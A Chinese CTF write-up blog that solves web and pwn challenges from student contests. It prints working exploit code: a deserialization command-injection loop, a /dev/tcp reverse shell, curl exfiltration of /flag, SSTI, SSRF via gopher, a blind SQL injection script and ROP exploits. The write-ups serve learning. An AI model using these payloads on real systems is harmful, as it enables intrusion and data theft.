这里还涉及一个无回显获取flag。当我们在exec里外带时发现有字符长度限制，使用base64带出，发现全是小写无法解密。这里写个脚本用于执行payload：

 1import requests
 2import base64
 3
 4while 1:
 5    com = str(input('>>'))
 6    a = 'O:1:"c":1:{s:2:"cv";O:1:"e":1:{s:4:"afkl";O:1:"d":1:{s:5:"value";O:1:"b":1:{' \
 7        's:31:"\x00b\x00i_want_2_listen_2_MaoZhongDu";s:%s:"%s";}}}}' % (
 8            len(com), com)
 9    data = base64.b64encode(a.encode())
10    b = requests.get('http://1.14.102.22:8114/?data=%s' % data)
11    print(a)
12    print(b.text)

python

在DNSlog里外带，但是我这里不知道是不是因为linux的原因，No Data

放一个朋友的

采用反弹shell发现弹不了不知道为啥。所以这里采用curl http://公网ip:端口/base64 /flag的方法。

这里进行反弹直接请求包解码出flag

where_is_my_FUMO#

这题正向连接，也不知道是不是这么叫，反正这个箭头很有讲究，参考链接 ↗

题目：

 1php
 2function chijou_kega_no_junnka($str) {
 3    $black_list = [">", ";", "|", "{", "}", "/", " "];
 4    return str_replace($black_list, "", $str);
 5}
 6
 7if (isset($_GET['DATA'])) {
 8    $data = $_GET['DATA'];
 9    $addr = chijou_kega_no_junnka($data['ADDR']);
10    $port = chijou_kega_no_junnka($data['PORT']);
11    exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
12} else {
13    highlight_file(__FILE__);
14}

php

因为过滤空格，所以使用tab绕过

payload：DATA[ADDR]=ip&DATA[PORT]=port%091<%260

反弹成功后，flag居然是一张图片，那就只能二进制读取或者base了，而且终端有长度限制，所以使用tail与head截取

cat /flag.png | base64 | tail -n +1|head -n 8000

cat /flag.png | base64 | tail -n +8001|head -n 8000

每次读8000行，读两次，把读取到的base64编码转为图片就好了

babyphp#

注释–>robots.txt–>noobcurl.php

 1php
 2function ssrf_me($url){
 3        $ch = curl_init();
 4        curl_setopt($ch, CURLOPT_URL, $url);
 5        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 6        $output = curl_exec($ch);
 7        curl_close($ch);
 8        echo $output;
 9}
10
11if(isset($_GET['url'])){
12    ssrf_me($_GET['url']);
13}
14else{
15    highlight_file(__FILE__);
16        echo "";
17}

php

尝试file://伪协议读取?url=file:///flag出现flag

babyPy#

最基础的SSTI，但我对这个python web不太了解，所以边百度边学的，放个链接 ↗

蒙的flag文件名

payload： {% raw %}

1{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('flag').read()}}

python

{% endraw %}

蜜雪冰城甜蜜蜜#

说要买到第9号饮料，F12打开每个饮料都有一个id，随便找一个改成9，再点击这个商品就出flag了

雷克雅未克#

恭喜EDG在冰岛雷克雅未克获得英雄联盟S11全球总决赛冠军！

这题很蠢，先看Cookie，查了自己经纬度，发现它把经度设置为y，纬度设置为x

那我查到雷克雅未克直接改Cookie不就行了吗，它验证的时候却反过来，x是经度，y是纬度

还有这题是改check.php的包，添加X-Forwarded-For: 5.23.95.255，Cookie: x=64.963943; y=-19.02116，回返回jsfuck代码

直接控制台打印就行

人民艺术家#

用它给的帐号密码登录，抓返回包，发现有个JWT，放jwt.io里，改成如下

我也不知道怎么获得密钥，朋友和我说的爆破出1234，离大谱，把改好的发包过去即可看到文件名

访问即得flag

babyxss#

直接闭合后面的符号，然后双写绕过

payload：'");';}

Baby_PHP_Black_Magic_Enlightenment#

套套套套套套套

第一层

 1PHP is the best Language
 2Have you ever heard about PHP Black Magic
 3php
 4echo "PHP is the best Language 
";
 5echo "Have you ever heard about PHP Black Magic
";
 6error_reporting(0);
 7$temp = $_GET['password'];
 8is_numeric($temp)?die("no way"):NULL;    
 9if($temp>9999){
10    echo file_get_contents('./2.php');
11    echo "How's that possible";
12} 
13highlight_file(__FILE__);
14//Art is long, but life is short. So I use PHP.
15//I think It`s So useful that DiaoRen Said;
16//why not they use their vps !!!
17//BBTZ le jiarenmen
18
19?>

php

去了解一下is_numeric就可以了，payload：?password=10000a，提示居然在注释里，我找了好久

第二层

 1Just g1ve it a try. php
 2error_reporting(0);
 3
 4$flag=getenv('flag');
 5if (isset($_GET['user']) and isset($_GET['pass'])) 
 6{
 7    if ($_GET['user'] == $_GET['pass'])
 8        echo 'no no no no way for you to do so.';
 9    else if (sha1($_GET['user']) === sha1($_GET['pass']))
10      die('G1ve u the flag'.$flag);
11    else
12        echo 'not right';
13}
14else
15    echo 'Just g1ve it a try.';
16highlight_file(__FILE__);
17?>

php

直接数组绕过就好了

payload：?user[]=a&pass[]=b

获得的flagbaby_revenge.php，进入第三层去掉flag访问baby_revenge.php

第三层

 1Just G1ve it a try. php
 2error_reporting(0);
 3
 4$flag=getenv('fllag');
 5if (isset($_GET['user']) and isset($_GET['pass'])) 
 6{
 7    if ($_GET['user'] == $_GET['pass'])
 8        echo 'no no no no way for you to do so.';
 9    else if(is_array($_GET['user']) || is_array($_GET['pass']))
10        die('There is no way you can sneak me, young man!');
11    else if (sha1($_GET['user']) === sha1($_GET['pass'])){
12      echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon
";
13      die('Genji:We will see again Hanzo'.$flag.'
');
14    }
15    else
16        echo 'Wrong!';
17}else
18    echo 'Just G1ve it a try.';
19highlight_file(__FILE__);
20?>
21//刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡 //刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡

php

这里我直接用的sha1碰撞

payload：

1?user=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&pass=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

bash

我本地php测试发现他俩是不一样的，网上其他博主发的碰撞在我本地也显示也不一样，但是在这个靶机里这俩sha1一样，奇怪，根据提示访问here_s_the_flag.php进入第四层

第四层

 1php
 2$flag=getenv('flllllllllag');
 3if(strstr("Longlone",$_GET['id'])) {
 4  echo("no no no!
");
 5  exit();
 6}
 7
 8$_GET['id'] = urldecode($_GET['id']);
 9if($_GET['id'] === "Longlone")
10{
11  
12  echo "flag: $flag";
13}
14highlight_file(__FILE__);
15?>

php

这题刚开始也不会后来想起来在xctf做过一题，url二次编码，浏览器还是啥本身接收了一串url就会url解码一遍了，所以编码一次过不了第一个if，编码两次就可以了，后面会再解码一次的。

payload：?id=%254c%256f%256e%2567%256c%256f%256e%2565

即得flag

期末不挂科就算成功#

注释里发现debug.php，访问它

发现url是传入文件，我们传入index.php，会直接显示渲染过的index.php页面，所以使用php伪协议用base64读取index.php源码

payload：?file=php://filter/convert.base64-encode/resource=index.php

记住不要直接从F12里复制base，它会省略一部分base，导致解码后显示不全代码，完整解码后有以下php代码：

 1php
 2$ch = curl_init();
 3curl_setopt($ch, CURLOPT_URL, $_GET['url']);
 4#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
 5curl_setopt($ch, CURLOPT_HEADER, 0);
 6#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
 7curl_exec($ch);
 8curl_close($ch);
 9//你当前位于学校172.17.0.0/24网段下 其实还有台机子里面可以修改成绩 我偷偷告诉你password是123456,name是admin,//result必须要改成60 不然学校会查的！！！
10?>

php

很明显了，index.php传url，好像也没ban什么，这里采用gopher最强协议修改成绩，但在这之前我们需要知道内网的主机有哪些，可以爆破，但我这里查看/proc/net/arp和/etc/hosts两个文件。

两个文件里把在172.17.0.0/24网段下的拎出来

 1172.17.0.6	5769d2ff2afc
 2
 3IP address       HW type     Flags       HW address            Mask     Device
 4172.17.0.242     0x1         0x0         00:00:00:00:00:00     *        eth0
 5172.17.0.233     0x1         0x0         00:00:00:00:00:00     *        eth0
 6172.17.0.246     0x1         0x0         00:00:00:00:00:00     *        eth0
 7172.17.0.237     0x1         0x0         00:00:00:00:00:00     *        eth0
 8172.17.0.229     0x1         0x0         00:00:00:00:00:00     *        eth0
 9172.17.0.249     0x1         0x0         00:00:00:00:00:00     *        eth0
10172.17.0.253     0x1         0x0         00:00:00:00:00:00     *        eth0
11172.17.0.232     0x1         0x0         00:00:00:00:00:00     *        eth0
12172.17.0.241     0x1         0x0         00:00:00:00:00:00     *        eth0
13172.17.0.236     0x1         0x0         00:00:00:00:00:00     *        eth0
14172.17.0.245     0x1         0x0         00:00:00:00:00:00     *        eth0
15172.17.0.248     0x1         0x0         00:00:00:00:00:00     *        eth0
16172.17.0.252     0x1         0x0         00:00:00:00:00:00     *        eth0
17172.17.0.235     0x1         0x0         00:00:00:00:00:00     *        eth0
18172.17.0.7       0x1         0x2         02:42:ac:11:00:07     *        eth0
19172.17.0.240     0x1         0x0         00:00:00:00:00:00     *        eth0
20172.17.0.239     0x1         0x0         00:00:00:00:00:00     *        eth0
21172.17.0.244     0x1         0x0         00:00:00:00:00:00     *        eth0
22172.17.0.231     0x1         0x0         00:00:00:00:00:00     *        eth0
23172.17.0.251     0x1         0x0         00:00:00:00:00:00     *        eth0
24172.17.0.255     0x1         0x0         00:00:00:00:00:00     *        eth0
25172.17.0.234     0x1         0x0         00:00:00:00:00:00     *        eth0
26172.17.0.243     0x1         0x0         00:00:00:00:00:00     *        eth0
27172.17.0.238     0x1         0x0         00:00:00:00:00:00     *        eth0
28172.17.0.247     0x1         0x0         00:00:00:00:00:00     *        eth0
29172.17.0.230     0x1         0x0         00:00:00:00:00:00     *        eth0
30172.17.0.250     0x1         0x0         00:00:00:00:00:00     *        eth0
31172.17.0.254     0x1         0x0         00:00:00:00:00:00     *        eth0
32172.17.0.1       0x1         0x2         02:42:02:bf:e7:e3     *        eth0

text

这里去掉没硬件地址的，也就那几个，试一试就发现了，毕竟172.17.0.7开了80端口，然后去百度怎么利用gopher传post值，为什么是post，因为get我没试出来，而且传账密这种东西一般就是post，记住ssrf要url二次编码

payload：

1?url=%67%6f%70%68%65%72%3a%2f%2f%31%37%32%2e%31%37%2e%30%2e%37%3a%38%30%2f%5f%50%4f%53%54%25%32%30%2f%69%6e%64%65%78%2e%70%68%70%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%25%33%41%25%32%30%31%37%32%2e%31%37%2e%30%2e%37%25%33%41%38%30%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%41%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%25%33%41%25%32%30%33%36%25%30%44%25%30%41%25%30%44%25%30%41%6e%61%6d%65%25%33%44%61%64%6d%69%6e%25%32%36%70%61%73%73%77%6f%72%64%25%33%44%31%32%33%34%35%36%25%32%36%72%65%73%75%6c%74%25%33%44%36%30%25%30%44%25%30%41

bash

出flag

成全#

payload：?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=/flag

刚开始一条命令直接出，后来改题目了，复现的时候没做出来

RE#

PWN#

恋爱小游戏#

连上就是shell

CRYPTO#

MISC#

In the Air#

人家学校里才能做，好兄弟发的

easysend#

领取以太坊测试币，发过去就行了

这是什么命令#

Intro && Hint: 命令执行的vps ip为 110.42.233.91 执行的命令 cat flag.png | base64 | base64 | tac | nl | sort -k 2 > flag.txt ;rm -f flag.png & nohup php -S 0.0.0.0:2333 » /dev/null 2>&1 &

第二部分rm -f flag.png & nohup php -S 0.0.0.0:2333 » /dev/null 2>&1 & rm -r：删除文件 nohup：不挂断地运行命令 php -S：启动内置的web服务器所以第二条命令的含义是删除图片，并在后台不间断的运行web服务器，端口为2333

直接访问http://110.42.233.91:2333/flag.txt，拿到数据直接上脚本

 1f=open('2333.txt')
 2d=f.readlines()
 3e=['']*500
 4import base64
 5for i in d:
 6    ca=i.strip().split()
 7    print(base64.b64decode(ca[1]))
 8    e[int(ca[0])]=base64.b64decode(ca[1])
 9f=open('2333.png','wb')
10
11f.write(base64.b64decode(''.join(e[::-1])))
12f.close()
13print('ok')

python

flag在生成的图片里

其他的去好兄弟这里 ↗ 看吧

]]>

SWPU新生赛WriteUp

Sat, 09 Oct 2021 14:26:39 +0800

一个线上赛，这个NSSCTF最爽的就是没有靶机操作的一分钟冷却，10.11比赛结束，但是我还要看看工控，所以不打这个比赛了，先把wp写了，pwn入门真TM艰难

WEB#

前面送分题，中间的也是基础题，后面搜知识点现学现用，最后俩RCE实在做不出来

gift_F12#

藏在了JS代码里，我还以为要改时间，歌还不错

caidao#

太直白了，但我偏用蚁剑

jicao#

基操

1php
2highlight_file('index.php');
3include("flag.php");
4$id=$_POST['id'];
5$json=json_decode($_GET['json'],true);
6if ($id=="wllmNB"&&$json['x']=="wllm")
7{echo $flag;}
8?>

php

Payload:GET: ?json={"x":"wllm"} POST: id=wllmNB

Do_you_know_http#

BP改包后，他出现success，要我自己跳转，不如HackBar

easy_md5#

没啥说的

easy_sql#

杰哥？入门sql

Payload: ?wllm=-1' union select 1,(select group_concat(flag) from test_db.test_tb),3--+

easyupload1.0#

抓包改类型。经典image/jpeg，这题flag在环境变量$FLAG里

easyupload2.0#

后缀改成phtml，类型image/jpeg，flag在上级目录

easyrce#

先system(’ls /’);知道了flag文件名再cat

babyrce#

Cookie添加admin=1，提示rasalghul.php，进入页面过滤了空格，用$IFS代替，先`ls$IFS/`看文件，再cat

送分题结束了

ez_unserialize#

注释里是robots协议的格式，直接去robots看看，提示了/cl45s.php

 1php
 2
 3error_reporting(0);
 4show_source("cl45s.php");
 5
 6class wllm{
 7
 8    public $admin;
 9    public $passwd;
10
11    public function __construct(){
12        $this->admin ="user";
13        $this->passwd = "123456";
14    }
15
16        public function __destruct(){
17        if($this->admin === "admin" && $this->passwd === "ctf"){
18            include("flag.php");
19            echo $flag;
20        }else{
21            echo $this->admin;
22            echo $this->passwd;
23            echo "Just a bit more!";
24        }
25    }
26}
27
28$p = $_GET['p'];
29unserialize($p);
30
31?>

php

简单反序列化，都不是pop链

思路1：就是生成对象，触发__construct()，它会初始化属性，然后我们之后赋值即可，销毁对象触发__destruct(),注意，销毁后不能序列化此对象了，所以我们需要在销毁前把他复制给另一个对象

exp：

 1php
 2class wllm{
 3
 4    public $admin;
 5    public $passwd;
 6
 7}
 8$a=new wllm();
 9$a->admin="admin";
10$a->passwd="ctf";
11$b=$a;
12unset($a);
13echo(serialize($b));
14
15?>

php

思路2：直接把__construct里赋值语句改了

exp：

 1php
 2class wllm{
 3
 4    public $admin;
 5    public $passwd;
 6
 7    public function __construct(){
 8        $this->admin ="admin";
 9        $this->passwd = "ctf";
10    }
11
12}
13$a=new wllm();
14$b=$a;
15unset($a);
16echo(serialize($b));
17
18?>

php

Payload一样的O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

include#

题目名是包含，传一下flag.php试试

只要file有值就亮源码，最后一句仍然包含了文件，伪协议读取flag.php

BASE64解码就是flag

error#

输入测试，布尔盲注，能执行就有没有提示...........字符串，可以写脚本也可以直接sqlmap

自己写的脚本：

  1import requests
  2
  3url = "http://1.14.71.254:28019/index.php"
  4cont = "没有提示..........."
  5
  6
  7def get_database_length():
  8    for i in range(1, 10):
  9        payload = "?id=1'and length(database())=%d --+" % i
 10        uri = url + payload
 11        result = requests.get(uri)
 12        if cont in result.text:
 13            print("数据库名长度为：%d" % i)
 14            return i
 15
 16
 17def get_database_name():
 18    name = ""
 19    for i in range(1, db_len + 1):
 20        for j in "abcdefghijklmnopqrstuvwxyz_":
 21            payload = "?id=1'and substr(database(),%d,1)='%s' --+" % (i, j)
 22            uri = url + payload
 23            result = requests.get(uri)
 24            if cont in result.text:
 25                name += j
 26    print("数据库名为：%s" % name)
 27    return name
 28
 29
 30def get_table_number():
 31    num = 0
 32    while 1:
 33        payload = "?id=0' union select 1,2,table_name from information_schema.tables where " \
 34                  "table_schema='%s' limit %d,1--+" % (db_name, num)
 35        uri = url + payload
 36        result = requests.get(uri)
 37        if cont in result.text:
 38            num += 1
 39        else:
 40            break
 41    print("表的数目为：%d" % num)
 42    return num
 43
 44
 45def get_table_length(n):
 46    for i in range(1, 20):
 47        payload = "?id=1' and length((select table_name from information_schema.tables where " \
 48                  "table_schema='%s'  limit %d,1))=%d --+" % (db_name, n, i)
 49        uri = url + payload
 50        result = requests.get(uri)
 51        if cont in result.text:
 52            return i
 53
 54
 55def get_table_names():
 56    names = []
 57    for i in range(0, tb_num):
 58        name = ""
 59        tb_len = get_table_length(i)
 60        for j in range(0, tb_len + 1):
 61            for k in "abcdefghijklmnopqrstuvwxyz_":
 62                payload = "?id=1' and substr((select table_name from information_schema.tables where " \
 63                          "table_schema='%s'  limit %d,1),%d,1)='%s' --+" % (db_name, i, j, k)
 64                uri = url + payload
 65                result = requests.get(uri)
 66                if cont in result.text:
 67                    name += k
 68        names.append(name)
 69    print(names)
 70    return names
 71
 72
 73def get_column_num(i):
 74    num = 0
 75    while 1:
 76        payload = "?id=0' union select 1,2,column_name from information_schema.columns where " \
 77                  "table_name='%s' limit %d,1--+" % (tb_names[i], num)
 78        uri = url + payload
 79        result = requests.get(uri)
 80        if cont in result.text:
 81            num += 1
 82        else:
 83            break
 84    print("第%d个表，有%d列" % (i + 1, num))
 85    return num
 86
 87
 88def get_column_length(i, j):
 89    for n in range(1, 20):
 90        payload = "?id=1' and length((select column_name from information_schema.columns where " \
 91                  "table_name='%s'  limit %d,1))=%d --+" % (tb_names[i], j, n)
 92        uri = url + payload
 93        result = requests.get(uri)
 94        if cont in result.text:
 95            return n
 96
 97
 98def get_column_name():
 99    names = [[] for _ in range(tb_num)]
100    for i in range(0, tb_num):
101        cl_num = get_column_num(i)
102        for j in range(0, cl_num):
103            name = ""
104            cl_len = get_column_length(i, j)
105            for y in range(1, cl_len + 1):
106                for k in "qwertyuiopasdfghjklzxcvbnm_":
107                    payload = "?id=1' and substr((select column_name from information_schema.columns where " \
108                              "table_name='%s'  limit %d,1),%d,1)='%s' --+" % (tb_names[i], j, y, k)
109                    uri = url + payload
110                    result = requests.get(uri)
111                    if cont in result.text:
112                        name += k
113            names[i].append(name)
114    print(names)
115
116
117def get_data_num(i, j):
118    num = 0
119    for n in range(0, 20):
120        payload = "?id=0' union select 1,2,%s from %s limit %d,1 --+" % (j, i, n)
121        uri = url + payload
122        result = requests.get(uri)
123        if cont in result.text:
124            num += 1
125    return num
126
127
128def get_data_length(i, j, k):
129    for n in range(1, 20):
130        payload = "?id=1' and length((select %s from %s limit %d,1))=%d --+" % (j, i, k, n)
131        uri = url + payload
132        result = requests.get(uri)
133        if cont in result.text:
134            return n
135
136
137def get_data(i, j):
138    da = []
139    data_num = get_data_num(i, j)
140    for n in range(0, data_num):
141        d = ""
142        data_len = get_data_length(i, j, n)
143        for z in range(1, data_len + 1):
144            for k in "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-{}":
145                payload = "?id=1' and substr((select %s from %s limit %d,1),%d,1)='%s' --+" % (j, i, n, z, k)
146                uri = url + payload
147                result = requests.get(uri)
148                if cont in result.text:
149                    d += k
150        da.append(d)
151    print(da)
152
153
154if __name__ == '__main__':
155    db_len = get_database_length()
156    db_name = get_database_name()
157    tb_num = get_table_number()
158    tb_names = get_table_names()
159    get_column_name()
160    while 1:
161        table_name, column_name = input("输入表名列名查询数据，以空格间隔：").split()
162        get_data(table_name, column_name)

python

因为单线程所以有点慢，写脚本是为了练

sqlmap神器

no_wakeup#

可爱

 1php
 2
 3header("Content-type:text/html;charset=utf-8");
 4error_reporting(0);
 5show_source("class.php");
 6
 7class HaHaHa{
 8
 9
10        public $admin;
11        public $passwd;
12
13        public function __construct(){
14            $this->admin ="user";
15            $this->passwd = "123456";
16        }
17
18        public function __wakeup(){
19            $this->passwd = sha1($this->passwd);
20        }
21
22        public function __destruct(){
23            if($this->admin === "admin" && $this->passwd === "wllm"){
24                include("flag.php");
25                echo $flag;
26            }else{
27                echo $this->passwd;
28                echo "No wake up";
29            }
30        }
31    }
32
33$Letmeseesee = $_GET['p'];
34unserialize($Letmeseesee);
35
36?>

php

与上一题反序列化的区别就是，反序列化时会自动调用__wakeup()，这道题当时想了很久，因为原本我的思路是wakeup调用之后再覆盖属性值，但是这个wakeup好像一直执行的样子，覆盖还是过不了，所以另一种思路，跳过__wakeup(),这是漏洞CVE-2016-7124

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

exp：

 1php
 2
 3class HaHaHa{
 4
 5        public $admin;
 6        public $passwd;
 7
 8        public function __construct(){
 9            $this->admin ="admin";
10            $this->passwd = "wllm";
11        }
12    }
13
14$a=new HaHaHa();
15$b=$a;
16unset($a);
17echo(serialize($b));
18
19?>

php

把生成的字符串属性改改

Payload：O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

easyupload3.0#

和.htaccess配合，有此文件时会把jpg解析成php文件执行，所以先传一个.htaccess,再把一句话木马改成jpg后缀传上去，蚁剑直接连jpg就行了

pop#

 1php
 2
 3error_reporting(0);
 4show_source("index.php");
 5
 6class w44m{
 7
 8    private $admin = 'aaa';
 9    protected $passwd = '123456';
10
11    public function Getflag(){
12        if($this->admin === 'w44m' && $this->passwd ==='08067'){
13            include('flag.php');
14            echo $flag;
15        }else{
16            echo $this->admin;
17            echo $this->passwd;
18            echo 'nono';
19        }
20    }
21}
22
23class w22m{
24    public $w00m;
25    public function __destruct(){
26        echo $this->w00m;
27    }
28}
29
30class w33m{
31    public $w00m;
32    public $w22m;
33    public function __toString(){
34        $this->w00m->{$this->w22m}();
35        return 0;
36    }
37}
38
39$w00m = $_GET['w00m'];
40unserialize($w00m);
41
42?>

php

这题也做了好久，思路是调用GetFlag包含flag.php，怎么调用？这个看起来只有w33m里__toString的$this->w00m->{$this->w22m}();这个写法我还是第一次见。所以我们需要调用toSring，在w22m里有一句echo $this->w00m;所以把这个类对象的w00m属性定义为w33m的对象即可，之后销毁w44m对象以调用destruct

exp:

 1php
 2
 3class w44m{
 4
 5    private $admin = 'w44m';
 6    protected $passwd = '08067';
 7
 8}
 9
10class w22m{
11    public $w00m;
12}
13
14class w33m{
15    public $w00m;
16    public $w22m;
17}
18
19$a=new w44m();
20$b=new w22m();
21$b->w00m=new w33m();
22$b->w00m->w00m=$a;
23$b->w00m->w22m='Getflag';
24unset($a);
25echo serialize($b);
26
27?>

php

注意，由于是受保护的属性，所以要对payload进行处理，原理在此 ↗

注意，生成的反序列化字符串里属性长度比字符串长，%00算1字长，所以长度不用改，只要在最里层类名和属性名前加%00即可，有的类名显示为*不影响

Payload：O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

PseudoProtocols#

题目伪协议，进来让我找hint.ph，直接伪协议读，然后解码，提示在test2222222222222.php

 1php
 2ini_set("max_execution_time", "180");
 3show_source(__FILE__);
 4include('flag.php');
 5$a= $_GET["a"];
 6if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
 7    echo "success\n";
 8    echo $flag;
 9}
10?>

php

很多时候做不出来，毫无思路，就是因为知识点储备不够，很多利用点即使你不知道原理会用就好，这题我搜了好久关于file_get_contents的技巧，后来发现这题是利用php://input伪协议，它在file_get_contents里，可以直接利用POST传值，这里直接POST值就行，不用写参数名

注意HackBar在POST传值时，若值是无参数名的好像传不过去，这题我纠结好久不明白全对为啥不出flag，BP抓包发现没有post值，所以遇到无参数名POST传值，最好用BP

sql#

这题见招拆招，测试后发现单引号包裹，过滤了--+，用%23代替，过滤了空格，用/**/代替，过滤=，用regexp代替

测试列数

3列正常回显，4列报错，说明只有3列

测试回显点

2，3位回显

爆库+爆表

Payload：

1?wllm=-1'/**/union/**/select/**/1,database(),(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema/**/regexp'test_db')%23

sql

爆字段+爆数据

Payload：

1?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),(select/**/group_concat(flag)from/**/test_db.LTLT_flag)%23

sql

这里好像限制了输出20位，所以想到使用字符串截断，截取某段进行输出，但是测试后发现substr、substring、left、right、explode都被过滤了，在php手册中找到mid函数，这个没被过滤，调整截取位置即可

第一段flag已经得到：NSSCTF{19791ad8-fbf5

第二次爆数据Payload：

1?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),17,40)%23

sql

第二段flag：fbf5-4e14-bda6-e1b0a

第三次爆数据Payload：

1?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),30,50)%23

sql

第三段flag：6-e1b0a3e10da0}

连接起来就行

PWN#

pwn入门，编译原理+数据结构+二进制漏洞头疼，5道pwn做出了3道，步骤简单，但有时候一句代码原理纠结一两天

nc签到#

nc一堆乱码，IDA打开附件看看

这是我第一次用到IDA的Hex View,大致意思是黑名单里有一些指令，接收用户输入，如果输入值里含有黑名单里的值，就退出程序，否则就执行，过滤了基本指令和空格，flag一般都在根目录下，tac$IFS/flag即可

有时候这个bash输入啥都不回显，关掉重新nc即可

gift_pwn#

标准操作

运行也就一个输入，IDA打开

就一个vuln()函数，左边列表有gift，是个后门函数，后面会用到，进入vuln函数

明显的栈溢出，然后打开gift函数的汇编

payload也就是16个填充栈的字符+8字节填充ebp寄存器+ /bin/sh的地址

exp：

1from pwn import *
2io=remote('1.14.71.254',28090)
3bin_sh_addr=0x00000000004005C4
4payload=b'A'*(16+8)+p64(bin_sh_addr)
5io.sendline(payload)
6io.interactive()

python

whitegive_pwn#

理解好久那个函数偏移量，我理论没错啊，但是exp没用，后来请教了许多pwn佬，才基本理解，总的来说，比上题少了后门，连字符串都没有，所以需要使用ROP(返回导向编程)，这个返回导向我感觉就是用碎片做跳板ret到下一个链子，但是学的时候又有参数，搞得乱了，这题exp能写出来，还是练得少

检查文件

没开PIE万幸

这次的“gift”是puts函数，用这个函数去输出puts真实地址

整体思路就是，溢出，rop碎片跳转，put的got地址，这一步说是为了初始化，但我感觉是为了调用puts。然后连接puts的plt地址，这个就是参数，程序只有一句输入就结束了，后续操作需要再次运行程序，所以加上main函数地址

随后对返回的puts地址切片填充处理，查找相应libc，计算出libc基址，根据基址计算出system函数以及字符串“\bin\sh”地址。再次发送溢出payload get shell

exp：

 1from pwn import *
 2from LibcSearcher import *
 3p=remote('1.14.71.254',28132)
 4e=ELF('./pwn3')
 5put_plt=e.plt['puts']
 6put_got=e.got['puts']
 7main_add=e.sym['main']
 8rdi_add=0x0000000000400763
 9p.sendline(b'a'*0x18+p64(rdi_add)+p64(put_got)+p64(put_plt)+p64(main_add))
10d=p.read()[:-1]
11d=u64(d.ljust(8,b'\x00'))
12libc=LibcSearcher('puts',d)
13off=d-libc.dump('puts')
14sys_add=off+libc.dump('system')
15bin_add=off+libc.dump('str_bin_sh')
16p.sendline(b'a'*0x18+p64(rdi_add)+p64(bin_add)+p64(sys_add)+p64(main_add))
17p.interactive()

python

